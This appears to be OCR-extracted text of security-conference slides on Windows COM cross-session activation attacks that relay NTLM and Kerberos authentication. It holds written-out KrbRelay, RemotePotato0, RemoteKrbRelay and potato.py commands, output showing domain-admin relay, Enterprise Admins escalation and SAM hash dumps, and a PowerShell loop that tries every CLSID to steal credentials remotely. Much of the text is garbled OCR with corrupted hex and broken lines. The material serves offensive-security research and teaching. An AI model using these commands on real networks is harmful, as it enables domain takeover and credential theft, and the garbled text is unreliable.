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an accomeio company

» Head of Offensive Services @r-tec

> Breaking into company environments at work & escalating privileges

»  Publishing Tools/Scripts on Github, Blogposts, YouTube-Videos
» S3cur3ThlsShilt/ @ShitSecure

» Founder of MSec Operations
» AV/EDR Evasion for Pentesters & Red Teams




02

WHAT THE HECK ARE YOU
TALKING ABOUT

Revisiting Cross Session Activation attacks




Revisiting Cross Session Activation attacks

THE MICROSOFT DOCUMENTATION

Session-to-Session Activation with a Session
Moniker

Article = 08/19/2020 - 5 contributors ¢4 Feedback

Session-to-session activation (also called cross-session activation) allows a client process to start (activate) a local server
process on a specified session. This feature is available for applications that are configured to run in the security context
of the interactive user, also known as the "RunAs Interactive User" object activation mode. For more information about

security contexts, see The Client's Security Context.

Distributed COM (DCOM) enables object activation on a per-session basis by using a system-supplied Session Moniker.
Other system-supplied monikers include file monikers, item monikers, generic composite monikers, anti-monikers,

pointer monikers, and URL monikers.

To be able to use the session moniker, the DCOM application must be set to run as the interactive user. This can be set
by using the Compaonent Services Administrative tool, viewing the Properties of the DCOM application, and selecting The
interactive user on the Identity tab. For more information about the possible security risks associated with setting a
DCOM application to run as the interactive user in a Remote Desktop Services environment, see the "Application Identity
(COM)" section of the COM documentation in the Platform Software Development Kit (SDK).

https://learn.microsoft.com/en-us/windows/win32/termserv/session-to-session-activation-with-a-session-moniker



https://learn.microsoft.com/en-us/windows/win32/termserv/session-to-session-activation-with-a-session-moniker
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GETTING AN IDEA

COM Basics

> Define functionality (classes), which is accessible by different applications
» e.G. shared functionality between processes

= Code inside of an DLL or executable

» Unique identifier per class (CLSID)

= Other processes just need this, no Path to the DLL/EXE

https://learn.microsoft.com/en-us/windows/win32/com/com-class-objects-and-clsids



https://learn.microsoft.com/en-us/windows/win32/termserv/session-to-session-activation-with-a-session-moniker
https://learn.microsoft.com/en-us/windows/win32/com/com-class-objects-and-clsids
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GETTING AN IDEA

COM Obijects

> ApplicationID - HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\

HEEY_LOCAL MACHINE\SOFTWARE Classes’\ ApplDN241C53C2-D207-4C74-34EA-28FBFA43804E}

[86F80216-5DD6-4F43-953B-35EFADA3SAEE] A || Name Hp Daten
[86F8304D-BA1F-4ATF-9CEE-2093CF663C39}

0 7B B326B-EAAO-ADE-24F0-BIFA1DOCE05S ab| (Standard) REG_5F Wwan Service Toast Motification
& i TeE T } 4| AccessPermission REG_BINARY 01 00 044 80 5¢ 00 00 00 6c 00 00 DO O
[87df41 ¢9-cbO1-4709-840¢-F3F 27058050} 2B\DIIS X REG 7
Lrragate
(88283d7c-46f4-47d>-Ef c2-dbObScflcb34) L hE" REG_BINARY 01 00 04 80 60 00 00 00 70 00 0O 0O O
{8804F2CB-5C85-4AT1-800B-TB1D7CDO44F?) £elLaunchiermission - :
ab| Rynds REG_5F Interactive User

{89BCC345-BOEE-4353-8955-07FCREAFGEFTT}
{8A104361-2C08-4700-A351-3EAASCEFF3E4]
{BAZFA2TY-5AFC-5490-B352-F32E6DBACIDF}

» References the Service/Executable ,Name" and defines permissions


https://learn.microsoft.com/en-us/windows/win32/termserv/session-to-session-activation-with-a-session-moniker
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GETTING AN IDEA

COM Obijects

» CLSID - HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\

(ST ) [ TS [T ) e

i HEEY_LOCAL MACHINEWSOFTWARE Classes\ CLSIDN 94 C53C2-D207-4C74-34EA - 23FBFE438048

{93F7AABE-CFB2-4CB7-9251-48BCA37443B8) || Mame Typ Daten
2pnT i .
{941b8883-797-4389-9c66-49630cSbalal} ab i{Stanu:Iard] REG_SZ Whwan Service Toast Motification

L v g HCSC-DIDTACT-BEA-JBFIF6A38D48) ablappld REG_SZ 1941C53C2-D2D7-4CT4-84EA-28FBF6438D4B}

InProcServer3d
I0AG1 A _TARR_ASTR_BITOA - INRATIAINFEN

AHEEY_LOCAL_MACHIMNENSOFTWARE Classes\ CLSIDN 941 C53C2-D207-4C74- 34EA- 28FEFE438D4B M InProcServer32

{93FTAABE-CFE2-4CBT-9251-48BCH3TAL3BE]} A [ Name Typ Daten
_ {941b3383-7f97-4389-9c66-49630c5batad}
v 1941C53C2-D2D7-4CT4-B4EA-28F3F6438D4B}
P InProcServer3d

» HKEY_CURRENT_USER - but mostly without the DLL path

ab| (Standard) REG_SZ Ch\Windows\Systern32\mbaeapi.dll
ab| ThreadingModel REG_SZ Both



https://learn.microsoft.com/en-us/windows/win32/termserv/session-to-session-activation-with-a-session-moniker
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CROSS SESSION ACTIVATION - HOW DOES THIS WORK?

CLSID configured to run as Interactive User / corresponding permissions
Use CoCreatelInstance to create a COM Object for the target class

Call QueryInterface (ISpecialSystemProperties) on the retrieved interface pointer

v v Vv Y%

Set Session ID via SetSessionId on retrieved SpecialSystemProperties

» (Not officially documented by Microsoft)
»  Call StandardGetInstanceFromIStorage on the interface pointer
» Triggers NTLM/Kerberos authentication to an attacker defined system

= (Not officially documented by Microsoft)

https://project-zero.issues.chromium.org/issues/42451808

https://www.sentinelone.com/labs/relaying-potatoes-another-unexpected-privilege-escalation-vulnerability-in-windows-rpc-protocol/

https://www.tiraniddo.dev/2021/04/standard-activating-yourself-to.html



https://project-zero.issues.chromium.org/issues/42451808
https://www.sentinelone.com/labs/relaying-potatoes-another-unexpected-privilege-escalation-vulnerability-in-windows-rpc-protocol/
https://www.tiraniddo.dev/2021/04/standard-activating-yourself-to.html
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HISTORY OF CROSS SESSION ACTIVATION

>

splintercode@kali: ~

File Actions Edit View Help

X on 10.0.0.20!!

[*¥] Spawning COM object in the session: 1

[*] Calling StandardGetInstanceFromIStorage with CLS
ID:{5167B42F-C111-47A1-ACC4-8EABE61B0OB54}

[*¥] RPC relay server listening on port 9997 ...

[*] Starting RogueOxidResolver RPC Server listening

on port 9999 .

[*] IStoragetrigger written: 100 bytes

[*] ServerAlive2 RPC Call

[*] ResolveOxid2 RPC call

[+] Received the relayed authentication on the RPC r

elay server on port 9997

[*] Connected to ntlmrelayx HTTP Server 10.0.0.20 on
port 80

[*] Connected to RPC Server 127.0.0.1 on port 9999
[+] Got NTLM type 3 AUTH message from APTO\domain ad

min with hostname SERVER1

[+] Relaying seems successfull, check ntlmrelayx out

put!

https://github.com/antonioCoco/RemotePotato0 - local

File Actions Edit View Help

target ldap://10.0.0.10

[*] HTTPD: Client requested path: /

[*] HTTPD: Client requested path: /

[*] Authenticating against ldap://10.0.0.10 as APTO\doma
in admin SUCCEED

[*] Enumerating relayed user's privileges. This may take
a while on large domains

[*] User privileges found: Create user

[*] User privileges found: Adding user to a privileged g
roup (Enterprise Admins)

[*] User privileges found: Modifying domain ACL

[*] Querying domain security descriptor

[*] Success! User normal user now has Replication-Get-Ch
anges-All privileges on the domain

[*] Try using DCSync with secretsdump.py and this user :
)

[*] Saved restore state to aclpwn-20210806-161108.restor
e

[*] Adding user: normal user to group Enterprise Admins

result: OK

[*] Privilege escalation succesful, shutting down...

[*] Dumping domain info for first time

[*] Domain info dumped into lootdir!



https://github.com/antonioCoco/RemotePotato0
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HISTORY OF CROSS SESSION ACTIVATION

# Cross-Session SMB
’ https://qlthub.comlcubeOXO/KrbRelav - Iocal .\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -cons
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cbbc6877182 -secr
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -serv

# LPE
.\KrbRelay.exe -spn ldap/dc@l.htb.local -clsid 96f18417-f@f1-484e-9d3c-59dceee5dbd8 - # LLMNR
.\KrbRelay.exe -spn ldap/dc@l.htb.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 - .\KrbRelay.exe -llmnr -spn 'cifs/win2819.htb.local’ -secrets

# Cross-Session LDAP # NTLM (see https://github.com/antonioCoco/RemotePotato® for CLSIDs)
.\KrbRelay.exe -spn ldap/dc®1.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1ct -\KrbRelay.exe -session 1 -clsid @ea79562-d4f6-47ba-b7f2-leSb@6bal6ad -ntlm
.\KrbRelay.exe -spn ldap/dc@l.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1ct .\KrbRelay.exe -session 1 -clsid ©ea79562-d4f6-47ba-b7f2-1e9b06bal6bad -ntlm -downgrade
.\KrbRelay.exe -spn ldap/dc@l.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -rbcd S-
.\KrbRelay.exe -spn ldap/dc@l.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-gro
.\KrbRelay.exe -spn ldap/dc@1.htb.local -session 2 -clsid 354ff91b-5e49-4hdc-a8e6-1ch6c6877182 -laps
2 -clsid 3541191b-5e49-4bdc-a8eb6-1cb6c6877182 -ssl -gm
2

-clsid 354f191b-5e49-4bdc-a8e6-1cbh6c6877182 -ssl -re

.\KrbRelay.exe -spn ldap/dc®2.htb.local -session
.\KrbRelay.exe -spn ldap/dc@2.htb.local -session

# Cross-Session HTTP

.\KrbRelay.exe -spn http/exchange.htb.local -endpoint EWS/Exchange.asmx -ssl -session 2 -clsid 354ff91b
.\KrbRelay.exe -spn http/exchange.htb.local -endpoint EWS/Exchange.asmx -ssl -session 2 -clsid 354ff91b
.\KrbRelay.exe -spn http/win2016.htb.local -endpoint iisstart.htm -proxy -session 2 -clsid 354ff91b-5e4


https://github.com/cube0x0/KrbRelay
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HISTORY OF CROSS SESSION ACTIVATION

» CertifiedDCOM t & AdcsCoercePotato 2

NTLM Relay / Remote Kerberos Rela

-~ (— ) =]

\/ (— ) =

(o) =) =
Attacker ADCS Domain Controller

DCOM with ADCSS’s NTLM / Kerberos
authentication messages '

A

Relaying NTLM / Kerberos to LDAP(S) RBCD / ShadowCredentails attack

\

1 https://i.blackhat.com/Asia-24/Presentations/Asia-24-Ding-CertifiedDCOM-The-Privilege-Escalation-Journey-to-Domain-Admin.pdf
2 https://decoder.cloud/2024/02/26/hello-im-your-adcs-server-and-i-want-to-authenticate-against-you/



https://i.blackhat.com/Asia-24/Presentations/Asia-24-Ding-CertifiedDCOM-The-Privilege-Escalation-Journey-to-Domain-Admin.pdf
https://decoder.cloud/2024/02/26/hello-im-your-adcs-server-and-i-want-to-authenticate-against-you/
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HISTORY OF CROSS SESSION ACTIVATION

» Silverpotato *

Attacker impersonating a Step 1:

Domain User member of Attacker performs a Remote CoGetlnstanceFromlIStorage

Distributed COM Users or with CLSID of sppui that triggers victim in session (n) to

Performance Log Users contact Attacker’s OxidResolver

groups
Step 2: Domain Admin connected in
Victim contacts OxidResolver on attacker Session (n)
machine by performing an Authenticated Call

Step 3:
Attacker’s OxidResolver sends Victim the Strin,
D Re——4 g

Bindings of the attacker’s endpoint running on port

XXX with an optional SPN

Step 4:

Victim contact Attacker’s

endpoint by performing an DC
Authenticated Call

1 https://decoder.cloud/2024/04/24/hello-im-your-domain-admin-and-i-want-to-authenticate-against-you/



https://decoder.cloud/2024/04/24/hello-im-your-domain-admin-and-i-want-to-authenticate-against-you/
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WHICH ARE STILL EXPLOITABLE

>  Grabbing NetNTLMv2/v1l Hashes from other logged in users

» Try to crack them offline to get their password
> Relay NTLM/Kerberos to remote systems via SMB
» Relay NTLM/Kerberos to ADCS HTTP(S)

> Relay to MSSQL

> Relay-NTFEM/Kerberosto-LDAR
> Silverpotato
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WHICH ARE STILL EXPLOITABLE

» https://github.com/antonioCoco/RemotePotato0

motePotato@> whoam

2fBe-dafe-4b37-9d38-4e8714a61149%

Connected to !
Connected to 5 er 127.96.8.1 on

om | 1c

ck ntlmrel



https://github.com/antonioCoco/RemotePotato0
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WHICH ARE STILL EXPLOITABLE

» https://github.com/antonioCoco/RemotePotato0

> C:\temp\potatolandiRemotePotatold> query user
EErIIJT EF‘H;-II SIT |ra., SMAME 1|;| "TI-.TI ,_EEF‘L.-III .-:.H. ELI.'.IE E T

(*]1 HTTPD(80): Client requested path: /

1[*] HTTPD(80): Connection from 192.168.150.5 controlled, attacking target smb://192.168.150.7
([*] HTTPD(80): Client requested path: /

'[ ] HTTPD(80): Authenticating against smb://192.168.150.7 as LOCAL/HAXOR SUCCEED

1] Target system bootKey: 0x12bbcl6c1b93589¢7e43069152b71c28

([*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
tAdministrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢59d7e0c089¢0: : :
iGast:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c089¢0: : :

{Admin 1000:3ad3b435b51404eeaad3b435b51404ee:4578

[[ ) Done dumplng SAM hashes for host: 192.168.150.7

[-*: Got l'.Ii M T from|loc A with Ihestname DESKTOP-VI3OIGN
3 - | 1 &

Relaving cas T



https://github.com/antonioCoco/RemotePotato0
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WHICH ARE STILL EXPLOITABLE

https://github.com/cube0Ox0/KrbRela Bt aretey e rr

SITZUNGSNAME ID STATUS LEERLAUF  ANMELDEZEIT
:\temp\potatoLand\KrbRelay> guery user console 2 Aktiv 1:45 10.92.2625 21:11

BENUTZERNAME SITZUNGSNAME ID STATUS LEERLAUF ANMELDEZEIT L 3| Getr. 1:45 17.82.2025 21:45
= console 2  Aktiv 4 10.82.2025 21:11 S C:\temp\potatoland\KrbRelay> .\KrbRelay.exe T884278e-dafe-4b37-9d38-420714261149 cifs/playground2608. local. playground
WARNING, user's session is not active
. 3 Getr. 4 17.82.2025 21:45 Relaying context: local\haxor
PS5 C:\temp\potatoLand\KrbRelay> whoami Rewriting function table
local\lowpriv ] Rewriting PEB
PS C:\temp\potatoLand\KrbRelay> .\KrbRelay.exe 354ff91b-5e49-4bdc-aB8e6-1cb6c6877182 ?“-‘F'{“’d“l"“h”““" RS
. . . . nit com server
N’QR”INGJ user's session 1s not active GetModuleFileName: C:\temp'potatoLand\KrbRelay\KrbRelay.exe
[*] Auth Context: locall\haxor Register com server
Rewriting function table " AANAARAAAAPAMAAAAAAAABGEQTAAAAAAAAPY & +0R21 2k0ph72dQhak ZALWAAF AH/ / +WWGG1b PV y TADAAHADEAMEAACAAMAAUADAAL GAXAARANAATAP / / AAARAP [ [ AMAQAR | / AAAI
Rewriting PEB

3 - Forcing cross-session authentication
GetModuleFileName: System Using CLSID: f8842f8e-dafe-4b37-9d38-460714261149
Init com server Spawning in session 3

GetModuleFileName: C:\temp\potatoLand\KrbRelay\KrbRelay.exe [*] apReq: 6882875406092a864886171201020201006¢5267433052073F2603020105210302010¢226703650020000000238205536182054F3082054ba80302018521121b104c4F43414C 2650
Register com server 31b1§706c617967726§756264323030382e6c6F63616C 2670606179677 26f 756264a38204F 2305204 62003020112a1030201 202 2520428048204 4363461dd065FF681689720b338bedefF2d10

- . : : ) ) : 851dead16fE6d271965213690af 17370af leSbdclalladchc311eBbEcE673847bF926661a432273339F 372798b5a24b0F 397cB4c F5Fac283813bfaSfcco9a67734585d1cTeabOcc@cE5119c52f1,
objref: TUVPVWEAAAAAAAAAAAAAAMAAAAAAAABGEQIAAAAAAABIEODTPLICBL11BW2Qw3XeBABAAADWG/ /+218CQX494Ky IADAAHAD  439,122c9c Fc77Fsea7d3536ac66b95a8C 6417 7564eed2b241BcTebbaad9518b9Fa463b10e 183 cbc7aBacb148bTedIc 6cB6adadsfl3c F61d9a52a7355e37 1das017dd3685a2562b6d33dd20
P/ /AAAAAA==: 3deds7ce4e 3bbbde@9ababs30eafadBcade c2a0fabb2897592a380877770201F229a10f4f3a5f348b30d5e02c833a33256606041aabBdb3941 c 800648523035 82dc5h2f83aa452cdacBedd2c
1bdb358dce8f247bBacd322alccBeScdec7E90a7bd36162F622034F 7 11adeSFbIffO388068846e0aefa407F18b260IB4721bEbE 6506460836 cO01618254443 30 ETO687741385293b68434bd

[*] Forcing cross-session authentication b9Sea3ses2d3adfefc943da7be13dasfs54baa64e267 22008 c318dadace78259bdcba586e187764a55a9f c69cBe2cASbbF348ae11F3f895c76c3f6bab12e@884edd338bch136f 2c6a28C7a7604
*] Using CLSID: 354F£91b-Sed49-4bdc-aBe6-1cbEc6877182 6c3942d79773d771e2d9c 793a587ed3a98 ce3c15Fe7c0136F1 3ee317966a8d62b17a758287dfef fbbaf2b73640F6acof80cFO2b3d14ee39324bbe820c030dc 13790 272081225992 F637387417
[*] Using : 10 ] 4 84b89d07de e 86463241e6dafbd3774c83337769c637dc 10 86e8816a2e735238bab7 5 feadf424c 27 F FaBad273F1383508d187c07317dF74211d3fe 766d00696abd975Fe73c321d430FB11e5af
[*] Spawning in session 3 18fbfc9a4dfe06656899826b73FTc2ceaceBe753b5577f326ea6198e9ec137fecBaedbc2easfa23d38fe167537afdf7efd7eB989fa53F7ae5c1d69f4945h391 e ccbal 2af66f3boc31efcfdSFae:

&

[*] NTLM2 @88721270c83fcbbde69411cada57c63631a654a731ab2ed121bfc9a%9e 200603601 3b7 c4cd163F3696df464748e15f561dF858ba48201d1308201cdal@3020112a28201c4948201c0fd817a17a3:
42544c4d535350000200000002000a003800000015c289221b299689777c28140000000000000000c cOACCO0420000022aRREac0a0a5T507c735885F880a2F337450b18e4eB82e56762a75d060281d3317de2e40ebdabd7a7b812f5d3c04fEbfel FE04ea3d7333457c3efo4dBdcad7F59621efddfcdetae222831440d03dB6596
4bB054004F0050002d0056084b0033003900490035004,00040020006CcOR6FORR3PEL10PECEO20070006CPOL100790BETBR T c5T7T32a3dc5e5b73b1b3352471a23432d3c7d800aTad5cbl8a0120a6019eT4d66d37b37cecS5b3ce@@elcTace5192241dfa7bcadabaf3e24475864337556048e6576a258d0ae 7597aabbd 28d084

c3d7e4eb42bcd6fd2d53deeas57al2a5b562ddaddEb91fc2a3fdad2c610bafeboS0E46T849bacf 1381214988097 28eee8lc306422897 2be69c5531Fa39aba@05b7dc5473248a7bb93897 c3abe66:
ggg;;ggé;ggg;gggfgg‘iigg?;ggg;ggﬁ;ggiggggcggﬁ;gg;gggg;gg;iggg;gg?5eeseaemaaasea2Beeeceee‘Faa53easlee6&6292e1edfb65bb39<b<22€e94bfe?5e$dZs?deezd?zé5(5?6133bcdfd26d14297fBcbdb&bSe?ﬂSS16F3c22225336?c2?328bcd6<5(5341531317M?Fclcs?bw%d?fwsdéicdeeff9ff3cﬂd

= c c [*] apRepl: 675185305185a003020105210302010Ta27930772003020112a270046eccTbedBelccaiddedb4396dd2c09d5dali2baa3bfdo32etadeeclcfabbbbcbcd3562e79b5e585256215be

[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED 441c1b688643189aF237bb75b8586c1d5b273e8afe791439983echb96981472d26dTc 75561eF5577
[#] fContextReq: Delegate, MutualAuth, ReplayDetect, SequenceDetect, UseDceStyle, Connection, AllowNo[®] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[*] NTLM3 [*] fContextReq: Delegate, MutualAuth, ReplayDetect, SequenceDetect, UseDceStyle, Connection
e TacaT :1b29968‘3???ce814:92c5e2be21a3326Fe55be86e22ba6?l4:BlBlBBBBGBBBBGGBbEcEc?zeg?scdbaldedgwhi ;ﬁ:egi;sg;ib:i:::?ﬁ:Zﬁzglaﬁala36Zalefaz-dd304!)36@35291].Zazwzbjasgélzselfne?c562361bSf'fsaa384F1d23942eddb53997693cc6653Zedﬁ-ﬂedsdbaffznﬂ???d?ﬁnecefBbe-
P02dee56004b0033003900490036004200040020006CcPO6TDO63P061P06CPO2eBO700R6CPO61007900670072006TPAT750068[*] Bootkey: Gdcl46T17994Fd36b7de644cTed18330
666f69639661666c362eBE?BB@Gc966186?9666?69?ZBBGFEB?SOEGEBBMBBBSGBZBBGGCBBBFBB639661666(962@6@?9666([*} DU"'P‘ SU:CESSful

*] SAM hazhes

2000B0RACAERRRR0100CRR0P0200000322fFF5ea712achb58163e80270a4427ec1eBdefcb3ceb7453c981253788F9538at o inTstrator 500 and3b435b51404cenadibi3ch5140dee: atd
2581 :aad3b4a35b51484eeaad3ba3s5b51484ee: 31d6cTedd16ae931b73c59d7eR0C0E9CO



https://github.com/cube0x0/KrbRelay
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WHICH ARE STILL EXPLOITABLE

ADCS ESCS8 alternatives — DCOM trigger:

»  https://github.com/CICADA8-Research/RemoteKrbRelay

» https://github.com/decoder-itt ADCSCoercePotato

»  https://github.com/sploutchy/impacket/blob/potato/examples/potato.py



https://github.com/CICADA8-Research/RemoteKrbRelay
https://github.com/CICADA8-Research/RemoteKrbRelay
https://github.com/decoder-it/ADCSCoercePotato
https://github.com/sploutchy/impacket/blob/potato/examples/potato.py
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WHICH ARE STILL EXPLOITABLE

(3 64> .\ S e -m 10.140.0.7 4 .148.0.109 -u ppar 3 -d ma
Calling CoGetInstanceFromIStorage wi: 6 -FC88-11D0-B498- o 9 } on remote endpoint:10.140.8.7
Connected to ntlmrel, HTTP Server 10.1408.0.189 on port 8@

ADCS ESCS8 alternatives — DCOM trigger: o b

o8 @7 8@ 28 ee e3
16 8@ o8
a3 2 cB

@ ee 38 BA ic
A 0

ee

e

R

POOEMND
S

NTLM
g3 @3 1e @0 @ e @ 02 00 00 @3 o0 20 o0 |



https://github.com/CICADA8-Research/RemoteKrbRelay
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WHICH ARE STILL EXPLOITABLE

ADCS ESCS8 alternatives — DCOM trigger:
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NOVEL REMOTE ATTACK SURFACE - CREDENTIAL THEFT

» Can low privileged users also remotely trigger NetNTLMv2 hash authentications?

# Get all CLSIDs from the system registry
$clsidPath = "Registry::HKEY_CLASSES_ROOT\CLSID"
$clsids = Get-childItem -Path $clsidPath | Select-Object -ExpandProperty PSChildName

# Loop through each CLSID

foreach ($clsid in $clsids) {
# Remove curly braces from CLSID
$cleanClsid = $clsid -replace "[{}]1"

# Display progress in the console
Write-Host "Executing command for CLSID: $cleanClsid"

# Construct the command

$command = "RemoteKrbRelay.exe -victim srv0l.domain -target srv02.domain -clsid $cleanClsid

-session 1 -smb -console -v --smbkeyword interactive”

# Execute the command

-Expression $command

> What about administrative privileges?



ApplicationlD

Revisiting Cross Session Activation attacks

hd |ApplicationName hd

RunAs

.Y|LaunchPrincipaI

NOVEL REMOTE ATTACK SURFACE - CREDENTIAL THEFT

T|cisips

{d056ebce-e729-4994-35e6-de59430306c1}
{AB93B6F1-BEV6-4185-A488-A9001B105B94}
{FBES52A5-4C00-11D3-80BC-00105A653379}
{01A39A4B-90E2-4EDF-8A1C-DDYESF526568}
{B1445657-5A98-11d93-A4E5-00301BB132BA}
{BBA32FEG-E29D-AEAE-AGDS-D273E40CA3ACY
{63CE6D27-426A-41F9-8E51-549C1132DAE2}
{953E4863-7AD1-4DAE-B2BD-108F1D579678}
{fs6b7b2a-5b5a-46d8-b6f9-d927ce34b717}
{56676660-4A40-45B0-B24E-9CF6B35E9ABF}
{BBCA356A-F004-4628-A27A-E13070412B70}
{E32549C4-C2B8-4BCC-90D7-0FC3511092BB}
{0010890e-8789-413c-adbc-48f5b511b3af}
{00f2b433-44e4-4d88-b2b0-2698a0a91dba}
{06CT92FB-6212-4F39-BF70-ESCOACIGSC23}
{0868DCIB-DIA2-4f54-9362-133CEA201299}
{0886dae5-13ba-49d6-a6ef-d0922e502d96}
{08FCO6E4-CEB5-40BE-97B0-B80F943C6158}
{1202DB60-1DAC-42C5-AEDS-1ABDD432248E}
{1A1F4206-0688-4ETF-BE03-D82ECHIDFIAS])
{276DAFD3-C41D-465F-8CAS-AB2AT762DF32}
{316CDEDS-EAAE-4B15-9113-7055D84DCCI7}
{35BC523D-8BE9-496E-8257-026E8B4750FC}
{362cc086-4d81-4824-bbb5-666d34b3197d}
137399c92-dc3f-4b55-ae5b-8112e82398ad}
{3AAE9875-AF31-4221-9B60-8656412C7312}
{3eef301f-b596-4c0b-bd92-013beafce793}
{4545dea0-2dfc-4906-a728-6d986ba3939a9}
{45BA127D-10A8-46EA-SABT-56EAS078943C}
{4839DDB7-58C2-48F5-8283-E1D180700D70}
1515980c3-57fe-4cle-a561-730dd256ab98}
{536AACFB-5238-4314-BAD4-5B0A2ESBI6SE}
{SEADOODC-DESB-497C-BDES-BI153058CBEF}
{6295DF2D-35EE-11D1-8707-00C04FDI3327}

BDEUILauncher Class
CLMgr

Tablps

Found Mew Hardware Wizard
PeniMC2

PeniMCav2

sdclt

ShapeCollector

SyncHost

Scan

User Notification
PhotoAcgHWEventHandler
C:\windows\System32\UserAccountCd
sppui

Retail Demo User COM Agent
Proximity Sharing

Sync Center Client

Sync Center Control

Cloud Change Wnf Monitor
Immersive Shell
TrayAppldentityResolver
Windows Push Notification Platform
AppServiceContainerBroker

Thumbnail Extraction Host Class
Application Activation Manager
ShellServiceHost

LockScreenContentServer Out of Proc
Splash screen

Sync Center (Private)

Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User
Interactive User

Interactive User

VORDEFINIERT\Administratoren
VORDEFINIERT\Administratoren

VORDEFINIERT\Administratoren

{FBES52FA-4C00-11D3-80BC-00105A653379};{4A816D68-59

{967696C6-354C-4B5C-9CCE-BDIELCABOCTT}
{20C6F4C2-B0AB-4310-A59A-1CCABT334236}

25B25D091-69A2-47fa-A375-FDCIB189A06F | { FIEFACAA-O!
5fdbaad0-4d59-4fcd-b213-783ce7a92f22};{8144B6F5-20A8

{
it
{0010890e-8789-413c-adbc-48f5b511b3af}
{00f2b433-44e4-4d88-b2b0-2698a0a91dba}
{06C792F8-6212-4F39-BF70-EBCOACI65C23}
{FB7B28F1-DASA-AF35-BECO-B00EFCF26B83}

{1202DB60-1DAC-42C5-AED5-1ABDD432248E}
{1A1F4206-0688-4E7F-BED3-D82ECESDFIAS}
{27604FD3-C41D-465F-8CAS-AB2ATT62DF32}

{361DF0D0-72EB-46F1-8D0A-5597DBBEGS T8}

{37399c92-dc3f-4b55-ae5h-811ee82398ad}
{37600FF7-470B-408F-8718-F2ATABFOEF20}
{3eef301f-b596-4c0b-bd92-013beafce 793}
{4545dea0-2dfc-4906-a728-6d986ba339a9}
{45BA127D-10A8-46EA-8ABT7-56EA9078943C}

{515980c3-57fe-4cle-a561-730dd256ab98}

{329B8B0EC-2230-47B8-9050-A2DCF5171C6F}
{6295DF2D-35EE-11D1-8707-00C04FD93327}

https://github.com/CICADA8-Research/COMThanasia/tree/main/PermissionHunter/PermissionHunter
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NOVEL REMOTE ATTACK SURFACE - CREDENTIAL THEFT

» Small modifications to public tools

» Remote credential theft with administrative credentials

« https://qgithub.com/sploutchy/impacket/pull/3

https://github.com/rtecCyberSec/RemoteKrbRelay/tree/ntim

hack@parrot
$python3 potato.py -clsid @€ )14-3F57-4D52-9E31-49DAECASAB0A -session 2
relay-ip 10.140.0.109 'marvel.loc EN (S '@l@.liﬂ.ﬂ.llﬂl



https://github.com/sploutchy/impacket/pull/3
https://github.com/rtecCyberSec/RemoteKrbRelay/tree/ntlm

Revisiting Cross Session Activation attacks
NOVEL REMOTE ATTACK SURFACE - CREDENTIAL THEFT

101B-BBCB-0¢ )21347A V:0.0
10.140.0.110, attacking target smb://1@.14¢

[-] Signing is required, attack won't work unless using -remove-target
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NOVEL REMOTE ATTACK SURFACE - CREDENTIAL THEFT

rbRel playgroun local.playground YEro local.playground

) _NEEDED
th, ReplayDetect,
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NOVEL REMOTE ATTACK SURFACE - CREDENTIAL THEFT

» What about relaying incoming RPC authentication?

AN AN .
AN NN - /
\ ~ \) K
HHK / AN AN
\No—of-o-of ~ /
)/ A\ KX
_ /NN
=/ A A\
T / PO
O 1_ 1t YN
/) \ A 4 (_
[P P P Nedada)

CICADRS Ressarch Team

From Michael Zhmaylo (MzHmO)
[+] Setting UP Rogus CCM at port 12345
[+] Registering...
[+] Register success
[+] Forcing Ruthentication
[+] Using CLSID: déb0dleb-456e-4B8ff-a3e3-£393cT74bE5db
[?] Trying to trigger authentication from session 2
[*] apReq: 608206b706052a864886£7120L 0] G
[+] Let's relay to SMB
[*] RcceptSecurityContext: SEC I CONTINUE_NEEDED
[*] fContextReqg: Delegate, MutuallAuth, ReplayDetect, SegquenceDetect, UseDceStyle, Conr
[+] Received Ferberos Zuth from with ticket on cifs
[*] apRep2: €£5b305%a00 30— S
[+] Let's relay to SMB
[+] Session Established
[-] Could not connect to ipc$ error: STATUS_BAD TIMPERSONATICN LEVEL
[-] Could not connect to c$ error: STATUS_BAD IMPERSONATICON LEVEL
-] Could not connect to admin3 error: STATUS_BAD IMPERSCNATICON LEVEL
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NOVEL REMOTE ATTACK SURFACE - CREDENTIAL THEFT

» Relaying the first Kerberos auth with KrbRelayEx-RPC & CredMarshal trick

,,,,,,,,

https://github.com/decoder-it/KrbRelayEx-RPC
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html



https://github.com/decoder-it/KrbRelayEx-RPC
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
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NOVEL REMOTE ATTACK SURFACE - CREDENTIAL THEFT

> Repeat as administrative user

# Get all CLSIDs from the system registry
$clsidPath = "Registry: :HKEY_CLASSES_ROOT\CLSID"
$clsids = Get-ChildItem -Path $clsidPath | Select-Object -ExpandProperty PSChildName

# Loop through each CLSID

foreach ($clsid in $clsids) {
# Remove curly braces from CLSID
$cleanClsid = $clsid -replace "[{}]", ""

# Display progress in the console
